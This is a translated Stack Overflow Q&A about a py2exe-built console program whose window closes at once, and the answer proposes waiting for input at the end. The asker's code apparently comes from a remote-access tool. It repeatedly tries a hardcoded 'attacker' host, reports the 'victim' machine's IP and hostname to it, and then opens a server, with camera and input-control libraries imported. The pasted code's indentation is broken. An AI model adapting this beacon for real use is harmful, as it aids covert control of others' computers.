Python time.sleep 关闭终端

标签 python compilation executable py2exe

我使用了这个 setup.py 脚本:

from distutils.core import setup
import py2exe

setup(console=['tcphost.py'])
to compile a code that imports this:

import os
import pygame.camera
import numpy as np
import time
import cv2
import socket
import autopy
import glob

def TCPclient ():
CreatePath()
ViHost = str(socket.gethostbyname(socket.gethostname()))
ViPort = 6869
AtHost = "192.168.56.1"
AtPort = ViPort

AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

TryCon = True
while TryCon == True:
    try:
        print "Trying to connect..."
        AtSock.connect((AtHost, AtPort))
        TryCon = False
    except:
        print "Could not connect"
        TryCon = True
        time.sleep(30)
print ("Connected.")
AtSock.send("<||.IP..||>" + ViHost)
time.sleep(1)
AtSock.send("<||.PRT.||>" + str(ViPort))
time.sleep(1)
AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
time.sleep(1)
AtSock.send("<||.EXT.||>")
time.sleep(1)
AtSock.close()
print ("Messages sent and socket closed.")
TCPserver (ViHost, ViPort)

if __name__ == "__main__":
    TCPclient()

(无法发布所有代码,因为它太大而导致堆栈溢出)

它编译得很好,但是当我尝试运行可执行文件时,终端窗口会弹出打印

Trying to connect...
Could not connect

(正如它应该的那样)但随后关闭得非常快,但是如果我尝试终端运行它,它工作正常。 为什么以及如何使其保持打开状态?

编辑

只是为了弄清楚,如果我双击可执行文件,则会弹出一个窗口并关闭。 如果我从命令行运行 exe,一切都很好。

最佳答案

time.sleep 不是导致脚本停止的原因。

Windows 命令正在执行它应该执行的操作,它运行脚本,然后当所有内容执行完毕后,它会自行关闭。

阻止这种情况发生的常见方法是在脚本末尾包含 input():

Python 2.7

raw_input("Press Enter to exit")

Python 3.4

input("Press Enter to exit")

关于Python time.sleep 关闭终端,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31351620/

相关文章:

python - 如何解决IO错误: [Errno 2] No such file or directory: in Biopython?

python - 带有Dropbox API的AWS Chalice

python - 根据数据框中的位置选择/操作单元格

linux - 从 Linux 设置一个 Windows exe 图标(没有 Wine?)

haskell - 我在哪里可以找到(并运行)用 cabal 沙箱编译的可执行文件?

python - Numpy 标准差属性错误 : 'Float' object has no attribute 'sqrt'

Java 在一个命令中使用处理器进行编译

javascript - 来自 $scope Controller 的 data-ng-bind

compilation - 编译因子程序的更快方法

windows - 从 PE 文件中删除 DOS stub